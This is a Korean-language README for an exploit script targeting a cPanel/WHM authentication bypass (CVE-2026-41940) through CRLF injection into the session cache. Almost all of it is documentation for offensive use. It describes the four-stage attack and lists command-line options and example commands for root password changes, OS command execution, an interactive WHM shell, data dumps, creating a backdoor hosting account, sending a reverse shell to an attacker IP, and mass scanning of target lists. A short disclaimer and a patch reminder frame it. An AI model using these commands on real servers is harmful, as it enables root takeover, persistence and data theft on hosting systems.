
cPanel/WHM 인증 우회 (제로데이 취약점)
면책 조항: 본 문서와 관련 스크립트(
exploit.py)는 교육적 목적, 보안 연구, 그리고 공인된 침투 테스트를 위해서만 제공됩니다. 귀하가 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에는 이 소프트웨어를 사용하지 마십시오.
exploit.py는 cPanel 및 WHM의 인증 우회 취약점(CVE-2026-41940)을 시연하는 스크립트입니다. 이 취약점을 통해 인증되지 않은 공격자가 CRLF 주입 결함을 이용해 데몬 캐시에 루트 세션을 주입할 수 있으며, 궁극적으로 유효한 자격 증명 없이 루트 수준의 WHM 액세스 권한을 얻을 수 있습니다.
이 익스플로잇은 Basic Authentication 처리 메커니즘 내의 CRLF(Carriage Return Line Feed) 주입 취약점과 세션 전파 결함을 함께 활용합니다. 스크립트는 공격을 4단계로 자동화합니다:
/login/ 또는 /cgi/login.cgi)에 연결하여 기준이 되는 인증되지 않은 세션 쿠키(whostmgrsession)를 획득합니다.cpsrvd 세션 캐시에 직접 주입하는 Base64 인코딩된 페이로드가 포함된 조작된 Basic Authentication 헤더를 전송합니다. 서버의 리다이렉트 응답에서 생성된 보안 토큰(cpsess)이 유출됩니다.do_token_denied가 위조된 세션을 데몬 캐시로 전파하도록 트리거합니다 — 이를 통해 세션이 유효한 인증 세션이 됩니다./json-api/version)에 액세스하여 루트 수준 액세스를 확인합니다.requests 라이브러리pip install requests
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
| 인자 | 설명 |
|---|---|
--target URL | 단일 WHM URL (예: https://target:2087) |
--target-file FILE | 대상이 포함된 파일 (줄당 ip:port 하나) — 자동으로 확인 모드 활성화 |
| 인자 | 설명 |
|---|---|
--threads N | 다중 대상 모드용 동시 스레드 (기본값: 10) |
--hostname HOST | Host 헤더 재정의 — 자동 감지가 실패하거나 잘못된 호스트 이름을 반환할 때 사용 |
--timeout N | 요청당 제한 시간(초) (기본값: 15) |
--retries N | 네트워크 오류 시 재시도 횟수 (기본값: 3) |
--cookie-name NAME | 특정 세션 쿠키 이름 강제 지정 (생략 시 자동 감지) |
--no-verify | 4단계 검증을 건너뛰고 계속 진행 |
| 인자 | 설명 |
|---|---|
--check | 확인 전용 모드 — 공격하지 않고 취약점만 확인 (--target-file과 함께 사용 시 자동 설정) |
--password PASS | 루트 비밀번호를 PASS로 변경 |
--api FUNC | 특정 WHM JSON-API 함수 호출 |
--api-params K=V,... | --api에 전달할 쉼표로 구분된 매개변수 |
--exec CMD | WHM scripts/run_script를 통해 OS 명령 실행 (대체: rawexec) |
--session | 루트 원클릭 로그인 URL 생성 — 즉시 열어야 하며, 토큰이 빠르게 만료됨 |
--shell | 대화형 WHM 셸 진입 (단일 대상 전용) |
--dump | 서버 정보 덤프: 버전, 계정, DNS 영역, 권한 |
--add-user USER PASS DOMAIN | 새 cPanel 호스팅 계정 생성 |
--revshell LHOST LPORT | 리스너로 bash 리버스 셸 전송 |
| 인자 | 설명 |
|---|---|
--output FILE | 세션 토큰 및 세부 정보를 JSON 파일로 저장 |
# 대상이 취약한지 확인
python exploit.py --target https://target:2087 --check
# 서버 정보 덤프 (버전, 계정, 권한)
python exploit.py --target https://target:2087 --dump
# 원클릭 루트 로그인 URL 생성 (브라우저에 즉시 붙여넣기)
python exploit.py --target https://target:2087 --session
# 명령 실행
python exploit.py --target https://target:2087 --exec "id"
# 대화형 WHM 셸 진입
python exploit.py --target https://target:2087 --shell
# 루트 비밀번호 변경
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# WHM API 직접 호출
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# 백도어 cPanel 계정 생성
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# 리버스 셸 전송
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# 호스트 이름 재정의 (자동 감지 실패 시 사용)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# 여러 대상 스캔 (확인 전용 모드)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# 세션을 파일로 저장
python exploit.py --target https://target:2087 --dump --output results.json
--shell 사용 시 다음 명령을 사용할 수 있습니다:
| 명령 | 설명 |
|---|---|
api <function> [k=v ...] | WHM JSON-API 함수 호출 (예: api version) |
exec <command> | WHM을 통해 OS 명령 실행 (예: exec id) |
passwd <newpass> | 루트 비밀번호 변경 |
dump | 서버 정보 덤프 |
revshell <lhost> <lport> | 리버스 셸 전송 |
add <user> <pass> <domain> | cPanel 계정 생성 |
save <path> | 현재 세션을 파일로 저장 |
exit / quit | 셸 종료 |
최신 cPanel/WHM 보안 패치를 즉시 업데이트하십시오.